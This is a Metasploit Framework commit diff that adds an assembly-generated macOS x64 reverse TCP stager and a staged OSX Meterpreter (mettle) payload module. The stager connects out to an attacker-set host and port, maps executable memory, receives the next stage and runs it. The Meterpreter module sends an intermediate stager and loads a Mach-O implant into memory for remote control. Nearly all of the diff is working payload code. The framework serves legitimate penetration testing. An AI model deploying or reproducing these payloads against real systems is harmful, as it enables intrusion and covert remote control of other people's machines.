Skip to content

Commit 44fbb17

Browse files
committed
osx stager
1 parent 5e71be7 commit 44fbb17

File tree

4 files changed

+154
-27
lines changed

4 files changed

+154
-27
lines changed

Gemfile.lock

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -58,6 +58,7 @@ PATH
5858
rex-struct2
5959
rex-text
6060
rex-zip
61+
ruby-macho
6162
ruby_smb
6263
rubyntlm
6364
rubyzip
@@ -321,6 +322,7 @@ GEM
321322
rspec-rerun (1.1.0)
322323
rspec (~> 3.0)
323324
rspec-support (3.7.0)
325+
ruby-macho (1.1.0)
324326
ruby-rc4 (0.1.5)
325327
ruby_smb (0.0.18)
326328
bindata

metasploit-framework.gemspec

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -118,6 +118,7 @@ Gem::Specification.new do |spec|
118118
#
119119
# Needed by auxiliary/gather/http_pdf_authors module
120120
spec.add_runtime_dependency 'pdf-reader'
121+
spec.add_runtime_dependency 'ruby-macho'
121122

122123
#
123124
# Protocol Libraries

modules/payloads/stagers/osx/x64/reverse_tcp.rb

Lines changed: 61 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -21,35 +21,69 @@ def initialize(info = { })
2121
'Arch' => ARCH_X64,
2222
'Handler' => Msf::Handler::ReverseTcp,
2323
'Convention' => 'sockedi',
24-
'Stager' =>
25-
{
26-
'Offsets' =>
27-
{
28-
'LHOST' => [ 37, 'ADDR'],
29-
'LPORT' => [ 35, 'n']
30-
},
31-
'Payload' =>
32-
"\xb8\x61\x00\x00\x02\x6a\x02\x5f\x6a\x01\x5e\x48" +
33-
"\x31\xd2\x0f\x05\x49\x89\xc5\x48\x89\xc7\xb8\x62" +
34-
"\x00\x00\x02\x48\x31\xf6\x56\x48\xbe\x00\x02\x15" +
35-
"\xb3\x7f\x00\x00\x01\x56\x48\x89\xe6\x6a\x10\x5a" +
36-
"\x0f\x05\x4c\x89\xef\xb8\x1d\x00\x00\x02\x48\x31" +
37-
"\xc9\x51\x48\x89\xe6\xba\x04\x00\x00\x00\x4d\x31" +
38-
"\xc0\x4d\x31\xd2\x0f\x05\x41\x5b\x4c\x89\xde\x81" +
39-
"\xe6\x00\xf0\xff\xff\x81\xc6\x00\x10\x00\x00\xb8" +
40-
"\xc5\x00\x00\x02\x48\x31\xff\x48\xff\xcf\xba\x07" +
41-
"\x00\x00\x00\x41\xba\x02\x10\x00\x00\x49\x89\xf8" +
42-
"\x4d\x31\xc9\x0f\x05\x48\x89\xc6\x56\x4c\x89\xef" +
43-
"\x48\x31\xc9\x4c\x89\xda\x4d\x31\xc0\x4d\x31\xd2" +
44-
"\xb8\x1d\x00\x00\x02\x0f\x05\x58\xff\xd0"
45-
}
4624
))
4725
end
4826

49-
def handle_intermediate_stage(conn, p)
50-
#
51-
# Our stager payload expects to see a next-stage length first.
52-
#
53-
conn.put([p.length].pack('V'))
27+
def generate(opts = {})
28+
encoded_port = "%.8x" % [datastore['LPORT'].to_i,2].pack("vv").unpack("N").first
29+
encoded_host = "%.8x" % Rex::Socket.addr_aton(datastore['LHOST']||"127.127.127.127").unpack("V").first
30+
stager_asm = %(
31+
mov rcx, ~0x#{encoded_host}#{encoded_port}
32+
not rcx
33+
push rcx
34+
xor ebp, ebp
35+
bts ebp, 25
36+
37+
; socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
38+
push rbp
39+
pop rax
40+
cdq ; rdx=IPPROTO_IP
41+
push 1
42+
pop rsi ; rsi=SOCK_STREAM
43+
push 2
44+
pop rdi ; rdi=AF_INET
45+
mov al, 97
46+
syscall
47+
48+
mov r13, rax
49+
xchg eax, edi ; edi=s
50+
xchg eax, esi ; esi=2
51+
52+
; connect (sockfd, {AF_INET,4444,127.0.0.1}, 16);
53+
push rbp
54+
pop rax
55+
push rsp
56+
pop rsi
57+
mov dl, 16 ; rdx=sizeof(sa)
58+
mov al, 98 ; rax=sys_connect
59+
syscall
60+
61+
; mmap(0x0, 0x1000, 0x7, 0x1002, 0x0, 0x0)
62+
pop r11
63+
mov rsi, r11
64+
xor rdi, rdi
65+
mov rsi, 0x1000
66+
mov eax, 0x20000c5
67+
mov edx, 7
68+
mov r10, 0x1002
69+
xor r8, r8
70+
xor r9, r9
71+
syscall
72+
73+
; recvfrom(0x3, addr, 0x1000)
74+
mov rsi, rax
75+
push rsi
76+
mov rdi, r13
77+
xor rcx, rcx
78+
mov rdx, 0x1000
79+
xor r10, r10
80+
xor r8, r8
81+
mov eax, 0x200001d
82+
syscall
83+
pop rax
84+
call rax
85+
)
86+
87+
Metasm::Shellcode.assemble(Metasm::X64.new, stager_asm).encode_string
5488
end
5589
end
Lines changed: 90 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,90 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/base/sessions/meterpreter_x64_osx'
7+
require 'msf/base/sessions/meterpreter_options'
8+
require 'msf/base/sessions/mettle_config'
9+
require 'macho'
10+
11+
module MetasploitModule
12+
include Msf::Sessions::MeterpreterOptions
13+
include Msf::Sessions::MettleConfig
14+
15+
def initialize(info = {})
16+
super(
17+
update_info(
18+
info,
19+
'Name' => 'OSX Meterpreter',
20+
'Description' => 'Inject the mettle server payload (staged)',
21+
'Platform' => 'osx',
22+
'Arch' => ARCH_X64,
23+
'License' => MSF_LICENSE,
24+
'Session' => Msf::Sessions::Meterpreter_x64_OSX,
25+
'Convention' => 'sockedi',
26+
)
27+
)
28+
end
29+
30+
def handle_intermediate_stage(conn, payload)
31+
midstager_asm = %(
32+
push rdi ; save sockfd
33+
xor rdi, rdi ; address
34+
mov rsi, #{payload.length} ; length
35+
mov rdx, 0x7 ; PROT_READ | PROT_WRITE | PROT_EXECUTE
36+
mov r10, 0x1002 ; MAP_PRIVATE | MAP_ANONYMOUS
37+
xor r8, r8 ; fd
38+
xor r9, r9 ; offset
39+
mov eax, 0x20000c5 ; mmap
40+
syscall
41+
42+
mov rdx, rsi ; length
43+
mov rsi, rax ; address
44+
pop rdi ; sockfd
45+
mov r10, 0x40 ; MSG_WAITALL
46+
xor r8, r8 ; srcaddr
47+
xor r9, r9 ; addrlen
48+
mov eax, 0x200001d ; recvfrom
49+
syscall
50+
51+
mov rax, #{@entry_offset}
52+
add rsi, rax
53+
jmp rsi
54+
)
55+
56+
midstager = Metasm::Shellcode.assemble(Metasm::X64.new, midstager_asm).encode_string
57+
print_status("Transmitting intermediate stager...(#{midstager.length} bytes)")
58+
conn.put(midstager) == midstager.length
59+
end
60+
61+
def generate_stage(opts = {})
62+
data = MetasploitPayloads::Mettle.new('x86_64-apple-darwin',
63+
generate_config(opts.merge({scheme: 'tcp'}))).to_binary :exec
64+
65+
#data = File.binread("/Users/user/dev/git/darwin-stager/main_osx")
66+
#data = File.binread("/Users/user/dev/git/ios/shellcc/shellcode/shelltest64")
67+
#data = File.binread("/usr/bin/yes")
68+
macho = MachO::MachOFile.new_from_bin(data)
69+
main_func = macho[:LC_MAIN].first
70+
@entry_offset = main_func.entryoff
71+
72+
output_data = ''
73+
for segment in macho.segments
74+
for section in segment.sections
75+
file_section = segment.fileoff + section.offset
76+
vm_addr = section.addr - 0x100000000
77+
section_data = data[file_section, section.size]
78+
if output_data.size < vm_addr
79+
output_data += "\x00" * (vm_addr - output_data.size)
80+
end
81+
if section_data
82+
output_data[vm_addr, output_data.size] = section_data
83+
end
84+
end
85+
end
86+
87+
output_data += "\x00" * (0x1000 - (output_data.size % 0x1000))
88+
output_data
89+
end
90+
end

0 commit comments

Comments
 (0)